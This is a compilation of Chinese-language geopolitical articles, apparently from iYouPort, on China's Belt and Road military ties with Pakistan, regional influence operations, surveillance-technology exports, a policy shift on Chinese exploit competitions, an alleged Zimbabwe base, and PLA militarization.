公众对该项目的憧憬是，它将使得中国的货物绕过穿越印度洋的更远、更昂贵的航线，还可避免美国在亚洲几个盟友的领海。

但官员们说，从一开始，项目的关键细节都对公众和立法人员隐瞒，包括贷款结构的相关条款和超过40年的租借期限，中国的一家国营公司已争取到港口的运营权。

巴基斯坦国内对于中巴经济走廊隐藏的弊端有所担忧，而国外也越来越担心，此事包含一个不为人知的军事层面。

根据巴基斯坦空军和中国官员今年年初拟定的一项未披露的提议，中巴经济走廊将在巴基斯坦建立一个经济特区，生产新一代战斗机。两国将首次在巴基斯坦的工厂共同建造导航系统、雷达系统和舰载武器。

该提议得到巴基斯坦规划和发展部官员的证实，它将扩大中巴目前在JF-17战斗机方面的合作。该战斗机在巴基斯坦军方运作的旁遮普省卡姆拉航空综合设施组装，由中国设计，为巴基斯坦提供了美国F-16战斗机的替代品。

伊斯兰堡的官员说，这些计划处于批准的最后阶段，但预计现任政府将批准该项目。

西方外交人士说，对于中国来说，巴基斯坦可能成为一个窗口，展示给那些希望把武库从美国装备转向中国武器的国家。此外，由于中国并不反对出售弹道导弹等先进武器—— 美国不会向沙特阿拉伯等盟国出售这些武器—— 与巴基斯坦的协议可能成为中国通往穆斯林世界更大武器市场的跳板。

数年来，中巴之间亦在太空进行一些最重要的军事合作。

就在2013年北京公布“一带一路”计划的几个月前，中国与巴基斯坦签署了一项协议，将在这个南亚国家建设一个卫星网络，建立北斗导航系统，作为美国 GPS 网络的替代。

北斗迅速成为“一带一路”的核心组成部分，中国政府在2015年的白皮书中称，该卫星网络是“信息丝绸之路”的一部分。

「图」

「图」

尽管中国和巴基斯坦之间的关系明显变得更加密切，但也并非没有紧张局面。中巴经济走廊仍可能容易受到巴基斯坦政治转变的影响——就像今年马来西亚发生的那样，该国搁置了中国企业的三个大型项目。

今年7月，伊姆兰·汗 (Imran Khan) 在议会选举中当选巴基斯坦总理，他在竞选时承诺如果获胜将会重新审查中巴经济走廊的项目，并就这些项目进行谈判。今年9月，汗在沙特阿拉伯与王储会晤后表示，沙特也同意投资中巴经济走廊。

巴基斯坦新任商务部长随后提议暂停所有中巴经济走廊项目，等待政府评估。

巴基斯坦新政府的举动激怒了北京方面，后者担心此举可能阻碍“一带一路”在全球的发展。

但在巴基斯坦，中国有一个稳定的盟友，它可以通过这个盟友来解决问题，那就是该国强大的军方势力。随着军方的建筑公司赢得基础设施招标，它可以通过中巴经济走廊将成百上千万美元收入自己的金库。

在商务部长发表上述言论后不久，巴基斯坦军方最高指挥官卡马尔·贾韦德·巴杰瓦上将 (Qamar Javed Bajwa) 匆忙前往北京，对习近平主席进行了事先未宣布的访问。六周后，汗正式访问中国，会见了中国国家主席。

军方的声明说，巴杰瓦和习近平就“一带一路”项目进行了广泛的讨论，尽管经济谈判通常是文职官员的职权范围。

巴基斯坦军方在一份声明中表示，巴杰瓦“表示，以中巴经济走廊为旗舰的‘一带一路’计划注定会成功，巴基斯坦军方将不惜一切代价确保中巴经济走廊的安全。”

北京会议结束后不久，巴基斯坦政府撤回了对沙特阿拉伯加入中巴经济走廊的邀请，所有暂停或取消中国项目的言论也停止了。

China’s ‘Belt and Road’ Plan in Pakistan Takes a Military Turn. Under a program China insisted was peaceful, Pakistan is cooperating on distinctly defense-related projects, including a secret plan to build new fighter jets.

原文

中国在香港的剧本也在亚太地区上演 - iYouPort

关于中国社会地缘政治

香港模式不是特殊的。北京一直在如何影响其他国家的政治？

「图」

「图」

Anti-extradition bill protesters are surrounded by tear gas during clashes with police in Tsuen Wan in Hong Kong, China August 25, 2019. Picture taken August 25, 2019. REUTERS/Thomas Peter – RC181CF6C830

今年香港的抗议活动吸引了世界的关注，引发了对另一场残酷的天安门式政府镇压的担忧。

然而，仅仅通过中国问题的视角来看待香港，不如在更广泛的亚太地区看待它更有意义。

自一九九七年伦敦将前殖民地交给中国控制后，香港由北京管理的“一国两制”安排，*理论上*几乎能给予该地区几乎像独立国家一样的地位。

但是近年来，由毛泽东后最强大的领导人—习近平领导的中国共产党一直致力于侵蚀承诺给香港的高度自治。

并且在周边地区也不难发现能够反映香港经验的例子，包括增选的政治家、塑造当地媒体的叙述、以及大量投资的涌入，是形成其影响力的主要方式。

本文和五位专家进行了交谈，他们对存在于他们国家的中共影响力发出了警告。

柬埔寨

亚太地区很少有政府像柬埔寨这样接受中共。

首相洪森—前红色高棉军官—几十年来一直巧妙地掌握着权力，他是北京确保对这一战略性位置施加影响的关键。

洪森及其柬埔寨人民党最初依赖越南的权力，后来从国际援助组织和包括美国在内的西方政府提供的援助中获得了合法性。

但华盛顿和其他人也为反对党—柬埔寨国家救援党 CNRP 创造了空间，作为援助条件，以便CNRP能在立法机构中取得进展并挑战洪森本人。

在2008年大选之前，洪森在禁止CNRP并打击当地媒体后，获得了北京提供的选举援助还有表达的对他的支持。

由于他的CPP在国民议会中占据了全部125个席位，因此，洪森“实际上在没有受到任何挑战的情况下”赢得了另一个任期。

CNRP 领导人 Kem Sokha 在因虚假的叛国罪被判入狱一年多后继续被软禁。洪森现在对中共感激不尽。

“洪森不可能对中国说不；没有中国的帮助他是赢不了的，他无法赢得自由公正的选举”，柬埔寨救国党的 Sochua 说。

Sochua 说，柬埔寨在东南亚国家联盟（ASEAN）是中国的投票代理。洪森的政府自2012年以来已经两次投票，以阻止批评中国在南海建岛的观点。

与此同时，大量投资流入柬埔寨，通过习近平签署的“一带一路”计划，预计今年的GDP增长率约为7%。在首都金边建造的被广泛视为中国洗钱工具的豪华公寓，正在蓬勃发展。

在这个国家的南部，西哈努克城这个小城市已经成为了中国建筑的中心，它带来了80多个赌场、性交易和毒品贩卖生意，暴涨的生活成本已经迫使很多柬埔寨人离开了他们的家。

Sochua 相信，就像在南海一样，西哈努克城的中国港口发展最终将成为人民解放军海军的设施。

“你将失去你的人民的基本权利，”Sochua 警告其他较小的国家，他

们正在考虑与北京建立更紧密的联系，“你将失去领土；失去你的主权。”

澳大利亚

另一个支持香港抗议活动的“连侬墙”再次在昆士兰大学被拆除，这已经成为中国民族主义者面对香港抗议支持者的多个攻击行为之一，这些攻击有时是猛烈的。

今年的抗议活动期间，在悉尼、墨尔本和其他地方向香港支持者发起暴力的“爱国学生”受到了中国驻堪培拉大使馆的称赞。

澳大利亚战略政策研究所的分析师 Alex Joske 说，“也许中国在影响澳大利亚语话方面取得的最大成功就是直接瘫痪了它。”

“许多有影响力的澳大利亚人，甚至政策制定者，都深信中澳关系非常敏感，任何关于它的坦率讨论都是危险的。”

Joske 说，澳大利亚人现在认识到，中共越来越专制，野心勃勃，并试图干涉澳大利亚的政治和社会，但政府的政策和指导尚未完全融入这种新的理解。

中共在澳大利亚发起了成功的影响力行动，宣传了关于中国的叙述。他说，这很大程度上这是通过统战工作实现的，中共在试图制造或选择“代表人物”：社区和商业领袖、政治精英、媒体和学术组织，他们影响并声称代表社会中不同的利益集团。

这方面的一个例子，也是澳大利亚关于其与中国关系的谈话的一个重大转折点，是2017年即将到来的工党参议员 Sam Dastyari 因与中国政治捐助者黄向墨的关系而辞职。

在6月份针对外国政治影响力的全面立法通过后，重点已经转移到了大学，那里的外国学生中来自中国的学生人数最多。

Joske 说：“大学一直在对中国政府对中国留学生的影响视而不见，使得许多人即使在国外也会被置于宣传泡沫中。未能解决中共的影响力问题是昆士兰大学出现问题的核心，继续无所事事只会让事情变得更糟”。

在可预见的未来，外国对地方政治的影响仍将是澳大利亚中国对话的一部分。被禁止返回澳大利亚的黄某重新回到了新闻中，当时一位调查人员证实这位亿万富翁 2015年亲自向工党新南威尔士总部运送了

一个装有10万澳元（68,000美元）的食品袋。

新西兰

坎特伯雷大教授 Anne-Marie Brady 表示，新西兰大约落后于澳大利亚两年，也已经认识到了中共政治影响力行动，她一直处于揭露“中共党政军市场关系”的最前沿。

Brady 2017年的论文“魔法武器：中国在习近平治下的政治影响力活动”是新西兰与北京关系讨论的转折点。她说，中共的影响力操作在多个方面运作，结合所谓的“总外交”和铺天盖地的宣传以试探在某个特定环境中的作用。

“一个国家的政治或经济开放程度越高，就越容易受到影响。开放社会就像石灰石，中共战术就像水—它总会能找到裂缝的，每个社会都有裂缝。”

虽然中国一直是新西兰经济的宝贵市场，但其重要性被中国和当地媒体夸大了。

“中国占我们出口市场的24.5%，但如果你阅读当地的报纸，你会认为它是80%，” Brady 说，此外，与中共有联系的个人和北京选择的当地中文媒体提供的活动捐款也符合中国政府的利益。

新西兰此前与对中国关系的忌言正在发生变化。一个迹象是：目前的司法特别委员会对外国干涉的调查，Brady 提交了一份概述中共影响力手段的文件，以及对未来战略的建议。

“我们正在试图以低调的方式让自己恢复活力，”她说。

菲律宾

2016年，菲律宾是唯一愿意反对中国日益强大的区域存在的东南亚国家之一。

当时，贝尼尼奥·阿基诺政府质疑中国在所谓的九段线内的资源声称，这条线是北京用来标记其在南中国海的广泛领土声索的边界，其中大多数都没有得到其他国家或国际法的承认。

2016年7月，联合国法庭裁定支持菲律宾，这可能是东南亚国家共同反对中国在该地区的领土要求的重要机会。

然而，杜特尔特很快担任总统后，他立刻就明确表示他对抵制中国不感兴趣。2017年，当菲律宾主持东盟时，杜特尔特的妥协态度实际上是送给北京的礼物。

“菲律宾在担任东盟主席期间搁置仲裁，浪费了裁决可能对中国产生的影响，” 菲律宾大学海洋事务和海洋法研究所所长 Jay Batongbacal 说。“如果没有菲律宾将这一案件列入东盟内部讨论议程的兴趣，该地区内外的任何其他国家都不会有道德权威来援引该裁决。”

北京除了支持杜特尔特残酷的毒品战争，并为菲律宾政府媒体工作者提供培训以塑造公共话语外，还在积极挑战菲律宾对其代代相传的岛屿的控制权。

事实上，菲律宾无法对自己的资源行使权利，因为他们害怕引发不良反应， Batongbacal 说。

随着2022年的下一次总统大选临近，Batongbacal 并不期待中国日益增长的地方影响力能够转化为杜特尔特的政治问题，目前杜特尔特的支持率仍居高不下。

他说：“反对派中仍然没有真正具有超凡魅力的领导者可以挑战杜特尔特或他的家人”。

台湾

与该地区的其他国家不同，台湾面临着来自中共的生存威胁，中共声称台湾是其领土的一部分，尽管从来没有统治过它。

中共已经垂涎台湾70年了。更紧密的两岸经济关系使北京渗透到台湾的媒体渠道，金融时报和路透社最近都发现了北京在台湾主要出版物和广播公司的直接编辑介入。

这里的亲中国媒体对于支持中国的反对党—国民党的总统候选人韩国瑜的崛起至关重要。

随着台湾选举定于1月初举行，舆论战已经开始，中国从7月开始禁止个人前往台湾。

内华达大学拉斯维加斯分校助理政治学教授 Austin Wang 表示，虽然大多数台湾人都对假新闻持谨慎态度，但流行社交媒体（包括 Facebook 和 Line）的分隔效应意味着“每个人都还活在自己的回音室里。“

Wang 说，另一个问题是，对于那些厌倦台湾主要政党的人来说，中共提供了另一种许多人并不完全理解的选择。这主要是由于受中国影响的媒体在关注经济的同时一直避免讨论中国人权和其他问题。

他说，台湾选民很少考虑在民主生活中应该承担的责任。一些台湾人可能会认为中共是另一种可行的选择，而不是在对当权者不满时像公民那样直接参与政治。

“在正常的民主国家，没有这样的选项”，他说。〇

延伸：

- 《哪些欧洲政治家已经陷入了北京的轨道？中国是如何在欧洲扩张的？》
- 《镶金带银的太极黑沙掌 — — 下一场来自帝国的威胁或许只是没有血腥》

China’s Playbook in Hong Kong Is Also Working in the Asia-Pacific

原文

中国的技术帝国如何重塑全球经济 - iYouPort

地缘政治

中国正在培训很多其他国家的政权使用中国产的监视技术，并且...

「图」

「图」

互联网自由状况在全世界范围内变化很大，其中中国的政府审查和大规模监视实践是其中最为突出的之一。

根据非营利组织自由之家的报告，世界大国正在将其“数字威权主义”模式出口到其他国家。2017年6月至2018年5月的报告中分析了全球65个国家的互联网自由状况，其报告详细介绍了中国政府和科技公司如何为其他许多国家提供电信基础设施、人工智能监控和审查培训。

详见这里《数字威权主义的兴起: 灾年之畔》《图解中国科技巨头 – 半壁“高堡奇人”》

中国经济和技术驱动的帝国主义的核心是中国领导人习近平的“一带一路”（BRI），这是该国多元化的国际发展战略，于2013年推出。BRI旨在加强中国与亚洲、非洲、欧洲和美洲超过65个其他国家之间的基础设施、贸易和投资联系，这些国家共占全球 GDP 的30%以上，占人口的 62%，以及已知能源储量的75%。这是世界银行的数据。

它是帝国主义的，是通过经济而不是外交或征服的软实力的传播。

更多具体报道详见 IYP 类目中的“中国在帮谁”。

BRI 在不同地区采取不同形式。例如，在非洲，中国在几内亚和肯尼亚等国家提供贷款，出口技术和建设基础设施，同时开采国家的自然资源。

中国政府和华为、中兴等大型中国科技公司正在其他国家扩大中国制造的光纤网络的“数字丝绸之路”，并为外国政府提供大规模监控和互联网审查工具。

在基础设施方面，华为与墨西哥合作，在拉丁美洲建立了最大的公共Wi-Fi 网络，并正在欧洲建设了5G网络。今年3月，一家英国监管机构小组发布了华为网络设备安全风险报告。华为和中兴还控制着乌干达的绝大多数电信合同。包括美国和澳大利亚在内的国家已经禁止在5G基础设施中使用华为和中兴设备，但华为目前正起诉美国。

中国公司正签署有利可图的合同，为外国政府提供审查和监视技术。马来西亚警方佩戴的是由中国AI 公司 Yitu 建造的面部识别相机；津巴布韦正在与中国公司 CloudWalk 合作，实施全国范围的面部识别计划；在委内瑞拉，中兴通讯技术支持马杜罗政府开发的所谓“祖国卡”，用于跟踪和控制公民。

包括其防火墙阻止应用程序和网站，广泛的审查与传播国家赞助的宣传，针对公民的大规模自动化监控，先进的网络战操作，以及新的压制性立法，如2018年网络安全法，集中了所有的互联网政策，中国的互联网控制模型是无所不包的，而且总是在不断发展。中国正在培训其他国家在技术方面跟随中国的发展。

根据自由之家的报告，中国官员与来自调查所涵盖的65个国家中的36个国家的代表举行了有关新媒体或信息管理的培训和研讨会。

11月，中国举办了为期两周的“一带一路沿线国家官员网络空间管理研讨会”，内容包括对负面舆论的实时监控和“大数据舆论管理系统”等主题。中国还为来自泰国、越南和菲律宾以及包括埃及、约旦、黎巴嫩、利比亚、摩洛哥、沙特阿拉伯和阿联酋在内的阿拉伯国家的官员提供了专门的培训。

在乌干达、坦桑尼亚和越南等国家新的限制性网络安全法出现之前，中国公司和政府官员的活动有明显增加。随着全球经济的扩张，中国的互联网控制模式正在蔓延。

How China’s Techno-Imperialism Is Reshaping Global Economies. China’s Belt and Road Initiative expands the superpower’s economic and social influence to countries across the globe. Along with technology exports and infrastructure investments, China is also exporting its model of internet control.

原文

中国的漏洞利用：为什么政策忽然变化？ - iYouPort

地缘政治

要么这只是一个暂时的改变，中国队不久后将再次统治 pwn2own；或者这是一个非常聪明的社交工程策略，以发展中国本土的进攻性网络能力

「图」

「图」

「图」

「图」

在过去的几年里，中国的漏洞研究团队一直主导着世界各地的黑客竞赛。这是因为中国主要科技公司一直在争夺中国的网络安全市场。他们使用 CVE 任务、利用竞争获胜和主要软件供应商的认可，来证明他们在网络攻防方面的专业知识。大致与20世纪90年代的 Bugtraq 相似。

为了鼓励他们的团队进入并赢得漏洞利用竞赛，这些公司有各种激励结构，例如一些公司会为获奖作品支付奖金。对于许多黑客来说，这些都是梦寐以求的机会：全职研究; 高薪; 大笔的奖金; 国际旅行和业界认可。

这些公司也为他们的投资获得了价值，他们的营销部门能够充分利用国际认可。漏洞研究团队与公司之间存在明确的双赢关系。这就是为什么民间独立组织无法获得这些技术人士的合作。

今年则发生了明显的变化。安全部队告知参与国际漏洞利用竞赛的主要公司，漏洞处理规则已发生变化：没有第三方，只能直接向供应商提供。对于那些不熟悉富裕社会环境如何运作的人来说，这可能听起来像是一个嚼舌的律师狡辩关于第三方定义的机会。但这种想法充其

量是错误的。

首先必须认识到，这不是一项新法律，而是警方发布的政策变化。这意味着警方有权解释某项行为是否违反了该政策。从根本上说，这意味着“遵守新政策的意图”，因为没有“法律条文”可循。对于西方人来说，这似乎令人困惑，要理解政策的措辞不如去理解发布政策的官员的意图更重要。

这就提出了一个更有趣的问题：这项新政策的目的是什么？重要的是要知道这是否是一项临时措施，由于官员们已经决定现在是敏感时段，他们不想引起注意；或者，这是否是一项永久性的政策变更，并将在很长一段时间内保持不变。

如果这是暂时的（比如一年或更短），那么效果可能会很小。公司和研究人员只需等待它结束，然后出现更多的漏洞来展示。但是，如果这是一个永久性的变化，那么其影响非常值得警惕了。为了论证，我们假设这是一个长期政策。这对中国网络安全社区意味着什么？

一阶效应将影响公司和研究人员。这些公司将失去一个重要的营销媒介，维持庞大的研究团队将只能意味着财务流失，几乎没有投资回报率。减少漏洞研究团队的规模将具有良好的财务意义。研究人员还将失去很多主要的额外津贴：国际旅行和认可、以及大部分带回家的工资。

作为一家无法参与漏洞利用竞争的公司的研究员，他们就没必要再留下来了。在一家小型政府部门的“国家安全”网络防御公司工作，将能获得相同的全职研究机会，还显得你爱国，并能获得更有利可图的收入。

因此，如果政策变化是长期的，那么最直接的影响将是：激励受过培训和具有积极性的漏洞研究团队离开他们现有的角色，并成为 natsec 结构的一部分。同时，雇用这些庞大团队的公司将受到激励，以减少研究单位的规模，使其符合 “11pt Arial font” 营销的投资回报率。

所以，要么这只是一个暂时的改变，中国队不久后将再次统治 pwn2own，或者这是一个非常聪明的社交工程策略，以发展中国本土的进攻性网络能力。时间会证明一切。

有一种很好的方法可以检测出政策变化对中国研究团队的影响，因为他们输出直接可用于主要供应商的安全漏洞。随着旧的报告漏洞被清除，将会出现滞后，但如果中国团队在微软、安卓和苹果安全建议的

确认数量下降，那么外部观察者就可以衡量其影响。这是现在要关注的指标：安全更新中的确认。〇

原文

中国的秘密军事基地 - iYouPort

地缘政治

中国特种部队驻扎在津巴布韦，建立秘密军事基地，为什么？

「图」

「图」

随着北京加强与哈拉雷的军事合作，中国正准备在津巴布韦驻扎精锐特种部队，Spotlight Zimbabwe 曾报道，担心这个亚洲强国将在该国建立一个秘密的地下军事基地。

新报告发布一年后，Spotlight Zimbabwe 现在透露，中国在该国安装下一代地对空导弹（SAM），与其在南中国海安置的导弹相同。

中国新的军事基地将在全国范围内保护其大型钻石矿和金矿，其中一些 SAM 发射器已经位于该国。

根据前领导人总统罗伯特穆加贝政府前部长的说法，中国自2014年以来一直计划派遣他们的特种部队到津巴布韦国民军（ZNA）“向他们提供技术援助和支持”。然而，几年前穆加贝在指责中国腐败和掠夺马兰吉矿产区的自然资源之后取消了这项计划。

“他们（中国）一直渴望在这个国家建立永久的军事存在，以保护他们在这里的巨大经济利益，但穆加贝一直在抵制这些提议，“这位前内阁部长说。

“尽管表面上的论证是围绕向我们的武装部队提供技术援助和支持，但后来很明显，姆南加格瓦与中国有自己的协议和安排。这激怒了穆加贝，也是在同一时期，姆南加瓦首次作为副总统前往中国，举行高层会议，而他的老板尚未完全了解情况。这一事件增加了穆加贝对 *Mnangagwa* 的政治不信任，他怀疑他正在向习近平展示自己，作为一个“最佳政治角色”确保中国对津巴布韦的投资。

其余的都是历史。此后，*Mnangagwa* 还邀请中国回到马兰吉的钻石矿，他们的特种部队已获得了副总统 *Rtd General*，*Constatino Chiwenga* 的绿灯，现在有充分的理由相信，穆加贝*2017*年*11*月的下台，可能是因为中国将他的权力视为对其经济投资的威胁，特别是在剥夺了他们的钻石开采权之后。

津巴布韦在过去几年中已经看到数十亿美元的中国投资，主要是在采矿、农业和电信等关键经济领域。这些投资是“一带一路”倡议（BRI）的一部分，这是一项在跨大陆范围内改善区域经济的雄心勃勃的努力，它旨在加强中国与其他**65**个国家之间的基础设施，贸易和投资，这些国家共占全球国内生产总值（**GDP**）的**30**%，世界人口的**62**%和已知全球能源储备的**75**%。

Emmerson Mnangagwa 总统上个月表示，BRI 是旧丝绸之路的重大改进。

“在过去，有丝绸之路，并且更大程度上没有包含整个大陆。津巴布韦的幸运只有在 *800*到*1000*年前，当我们进口瓷器时，*Munhumutapa* 王国和中国之间有贸易关系。

“但今天的 *BRI* 倡议已经让所有人都参与其中，以便我们能够相互交流，从而使我们的经济能够互相帮助实现现代化和机械化。我们正在相互联系并互惠互利。

“如果你看一下目前的 *FOCAC* 会议就能知道，我们将要解决*10*个问题，这些问题实际上是津巴布韦等发展中国家的主要问题。

“运输问题、我们各国的基础设施发展问题……我们相信，在非洲中东部地区正在与中国进行对话的中非合作论坛可以帮助中国与津巴布韦和非洲加强这种关系。当这种情况发生时它会创造中国和非洲市场的整合，因此我们很高兴我们成为这一全球愿景的一部分，“他说。

中国已表示将继续投资非洲，通过非洲联盟2063年议程、2030年联合国可持续发展议程、以及非洲各国的发展战略。

然而，在津巴布韦的情况下，中国的 **BRI** 投资之后是永久的军事存在。据称，现在将建造一个特种部队的秘密军事基地，这一举动肯定会激怒华盛顿。

China’s Special Forces To Station In Zimbabwe, Build Secret Underground Base To Protect Natural Resource Claims. China’s new

military base is set to protect its large diamond claims and gold mines across the country, where some of its SAM launchers are already located.

原文

中式军国主义？ - iYouPort

关于中国社会地缘政治

解放军正在快速武装起来，这种发展正在引发恐慌。北京一直声称其军队仅用于防御目的，但没有任何国家威胁中国控制下的领土，那么“防御”什么呢。因此，其积累看起来像是为侵略做准备……他们是怎么做的？

中国领导人—不仅仅是习近平—相信他们的领域应该比现在大得多。令人关切的是，根据他们自己的言论，他们将使用闪亮的新武器来占领领土并占领国际水域和领空。

日本的 Eri Hotta 曾经在《Japan 1941: Countdown to Infamy》中写道，日本人“不由自主地相信自己是环境的受害者，而不是侵略者”。这正是中国人此刻正在做的事。

不幸的是，今天在北京，这种悲惨的模式显而易见，中国人看起来好像想要重复上个世纪最严重的错误之一。

“为这场战斗做好准备。“ 马云的”南华早报“说，习近平今年的第一项指示就是人民解放军。用习近平自己的话说就是：“从一个新的起点准备全面的军事斗争。”

在过去的几个月里，中国的大胆领导人一直在频繁地威胁邻国和美国。宾夕法尼亚大学的 Victor Mair 在2月的 Fanell Red Star Rising 中写道：“习近平不只是玩弄战争。”“他敢于真正开始。他处于危险的心态。”

确实很危险。从华盛顿到新德里，政策制定者大多怀疑中国是否会开始历史上的下一次大冲突。北京当然希望“不战而胜”，但习近平采取的行动可能会导致战斗。在这方面一个特别令人不安的发展是中国军队在北京政界获得权力。

正如中国军方所知，中国人民解放军正在快速武装起来，而这种发展正在引发恐慌。北京一直声称其军队仅用于防御目的，但没有任何国

家威胁中国控制下的领土。因此，其积累看起来像是为侵略做准备。解放军正在获取的大部分装备—航空母舰、两栖部队运载舰和隐形轰炸机—都是为了投射权力，而不是国土防御。

他们寻求“恢复”他们实际上从未统治过的地区，但他们并不一定将军事征服视为获取巨大“失地”的手段。他们相信他们可以恐吓和胁迫，然后在没有武力的情况下获取。

可能还有其他目标。说到中国，宾夕法尼亚大学的 Arthur Waldron 告诉 Gatestone Institute：

“我认为该国的目标是在世界眼中增加该国的精彩，所以该国的积累因此被理解为试图变得强大到足以蔑视国际体系而没有后果。“

尽管有这些言论，但中国人知道实际参战的“不可估量”。几个世纪以来，他们并没有非常擅长战争，历史上经历过很多失败。

共产党统治时段的军事记录同样不起眼。是的，有与越南的一系列小规模战争，也有在南海的控制活动，但这些事件与历史上的挫折相比是微不足道的。

尽管历史记录不尽人意，但中国目前的行动引起了严重关切。习近平已经受到将军和海军上将的眷顾，他们是共产党政治支持的核心。

正如2月香港中文大学的 Willy Lam 告诉 Gatestone，“最高领导层对于大规模的社会动荡感到偏执的担忧”，因此给军队和警察带来了“加强内部安全的额外权力……”习近平很清楚，正是军队和警察才能让政党的统治保持活力。“

习近平试图通过“反腐败”的努力—实际上是一系列的政治清洗—来控制军队，而迈阿密大学的 Teufel Dreyer 告诉 Gatestone，“这是一个全面的军事组织。”

不过这些努力并未完全成功。这就是为什么习近平用 Waldron 的话来说被视为“军事皇帝”。“当前中国对军队的关注无疑具有内部政治根源，与安全环境的变化无关，”Willy Lam 说。

仅仅因为该过程是内部驱动的，并不会降低其危险性。习近平赞助了过多的军事预算，并允许高级官员在制定挑衅性外部政策方面发挥超大作用。2013年11月的东海防空识别区宣言，是一次大胆控制海岸天空的尝试，是军事影响力的一个明显例子。 2012年初掠夺斯卡伯勒浅滩以及南海南沙群岛军事化行动是其他不稳定事件。

“我们现在拥有东风-*21D*，东风-*26*导弹。这些是航空母舰杀手。我们攻击并沉没其中一艘航空母舰。让他们遭受*5000*人伤亡。攻击并沉没两艘航空母舰，人员伤亡*10,000*人。让我们看看美国是否害怕？“—— 他们说。

不仅仅是美国，很多国家都可能害怕，部分原因在于今天的中国军队与20世纪30年代的日本军队之间的相似之处。30年代日本的军官采取了“激烈的行动，迫使政府陷入战争立场，甚至暗杀反对这种行动的日本政客。”

然后，日本军队，就像今天的中国军队一样，在极端民族主义的鼓舞下大放异彩。然后，就像今天一样，亚洲最大的军队充满了好战的亢奋。

“如果我们问，’他们想要战争吗？’答案是肯定的; 如果我们问’他们想要避免战争吗？’答案仍然是肯定的，“战后政治科学家 *Maruyama Masao* 指出，正如 *Hotta* 所述。“虽然他们想要开战，但他们试图避开战争; 虽然想要避开战争，但他们故意选择了导致战争的那条路。”

不幸的事，今天在北京，这种悲催的历史事件似乎显而易见。

The Militarization Of Xi Jinping’s China: “Recovering” Areas They Have Never Ruled. Beijing has always claimed its military is for defensive purposes only, but no country threatens territory under China’s control. The buildup, therefore, looks like preparation for aggression.

原文

为什么年轻的巴基斯坦人努力学习中文？而不是英语…… - iYouPort

地缘政治

通过在巴基斯坦和其他几十个国家投资数十亿美元，中国正在全球范围内获得文化扩张

「图」

「图」

7月的一个早晨，26 岁的萨克兰阿巴斯站在学生前面，手中拿着一本普通话教科书，而一名巴基斯坦士兵静静地坐在教室后面，手里握着枪。

挂在墙上的是一系列田园诗般的中国风景 —— 甘肃的红橙色山脉、新疆湖泊的平静水域。在喀喇昆仑国际大学，一个偏远的、崎岖的地形之间，仍然是印度和巴基斯坦之间的争夺地代，就是这里，巴基斯坦军方一直在为贫困学生提供免费的普通话教学课程。

“以前，学生们更倾向于学习英语的，” 该大学专业发展研究所所长 Muhammad Ilyas 告诉我。今天，情况正在发生变化，因为年轻的巴基斯坦人越来越倾向于使用中文而且是普通话来寻找工作和获得学位。

作为 2013 年与巴基斯坦签署的基础设施发展计划的一部分，中国已承诺投资 600 亿美元建设中 – 巴经济走廊（CPEC） – 一个公路、管道、发电厂、工业园区和港口的网络。旨在增加两国之间的区域连通性和贸易。CPEC 是北京的价值万亿美元的一带一路倡议（BRI）的一部分。BRI 旨在创建陆地和海上贸易路线，整合亚洲、非洲和欧洲的 70 多个 国家，包括巴基斯坦、阿富汗和伊拉克等政治动荡的国家。

在许多方面，CPEC 是这一更广泛的全球倡议的领头羊。在伊姆兰汗总理本月访问中国之前，中国驻巴基斯坦大使姚静吹嘘该计划已为巴基斯坦人创造了 75,000 个工作岗位。

总部位于卡拉奇的应用经济研究中心和巴基斯坦计划委员会表示，在未来 15 年内，CPEC 下可能创造 70 万至 80 万个就业岗位，主要集中在基础设施、能源和运输部门。这个国家迫切希望能够实现这一目标：解决多达 40% 的青年失业问题， Khan 的北京之行取决于希望中国人可以向巴基斯坦遭受重创的经济注入更多现金。这个南亚国家目前正在寻求国际货币基金组织（IMF）的救助方案，该组织此前表示将审查巴基斯坦对北京债务的程度。

社会上，年轻的巴基斯坦人已经广泛投入了对语言技能的补习，以利用汉语获得未来的就业机会。“中文变得和英语一样重要，”Gilgit 的学生 Sherullah Baig 告诉我。军方为他提供免费住宿和学费，以参加三级普通话课程。似乎每个人都加入了，Baig 的同学是工程师、教师、退役军官和新毕业生的混合体。

「图」

「图」

Saqlain Abbas 去年夏天在 KIU 教授普通话（Sabrina Toppa）

在过去，英语才是巴基斯坦人向上流动的唯一语言，既是英国殖民统治的遗留物，也是进入西方市场、教育机构和就业机会的手段。但是现在，普通话已成为“热门新趋势”，吉尔吉特的普通话讲师阿巴斯说。

在 BRI 沿线的许多国家，中国日益增长的经济影响力为其提供了通过传播中国语言和文化来实现其所谓“软实力”的机会。在泰国，普通话教育已经渗透到大学、职业学院、皇宫秘书处，甚至移民局；在巴基斯坦，中国和巴基斯坦政府的直接资助推动了普通话学习的增长，以及私人教师和研究所声称提供的“中国优势”家庭产业的迅猛增长。

在巴基斯坦，CPEC 建立在两国历史高度密切的伙伴关系之上。无论巴基斯坦还是中国的官员，都把中巴关系称作为“全天候友谊”，“比蜜更甜、比喜马拉雅山还高，比海还深”。 2014 年，皮尤研究中心的调查发现，近 80% 的巴基斯坦受访者对中国持赞赏态度 -——这是全世界范围内对中国作出的最高评价。虽然文化和语言交流传统上并不是这种关系的核心，但许多年轻的巴基斯坦人现在越来越多地向中国寻求教育和就业发展，因此需要学习普通话。

今年5月，巴基斯坦在旁遮普大学位于该国第二大城市拉合尔的庞大校园举办了第一届 CPEC中国招聘会。30 多家中国企业采访了学生，

应聘的岗位是口译员、税务助理等工作。“CPEC 创造了巨大的就业机会”，25 岁的工程师 Aisha Noor 说，他正在排队等候向一家建筑公司提交简历。Noor 完成了由旁遮普政府赞助的免费普通话课程，在她面前，另外几名巴基斯坦人正在接受采访。“我会把这份工作交给能说我的母语的人”，她说。就在此刻，另一名巴基斯坦学生正在用普通话向公司介绍自己。

「图」

「图」

拉纳艾哈迈德，旁遮普大学孔子学院的主任（Sabrina Toppa）

巴基斯坦人早就意识到基于语言的人有着不同的机会。在英国的统治下，殖民地政府严重依赖本土人力资源，英语教会的学校变得令人惊讶地受欢迎 —— 尽管他们的管理人员对普遍缺乏基督教皈依者感到失望。

今天，该国的教育系统分为两个平行的语言轨道：英语和乌尔都语。这些语言带来了截然不同的经济机会，许多乌尔都语学校的学生都有这种感觉，他们在就业市场上遭到冷遇。

由于担心中国在全球经济中占据主导地位可能会发生什么，许多巴基斯坦人正在接受普通话教育，期望能在所谓的“中国世纪”中占据先机，旁遮普大学孔子学院的主任拉纳艾哈迈德说。

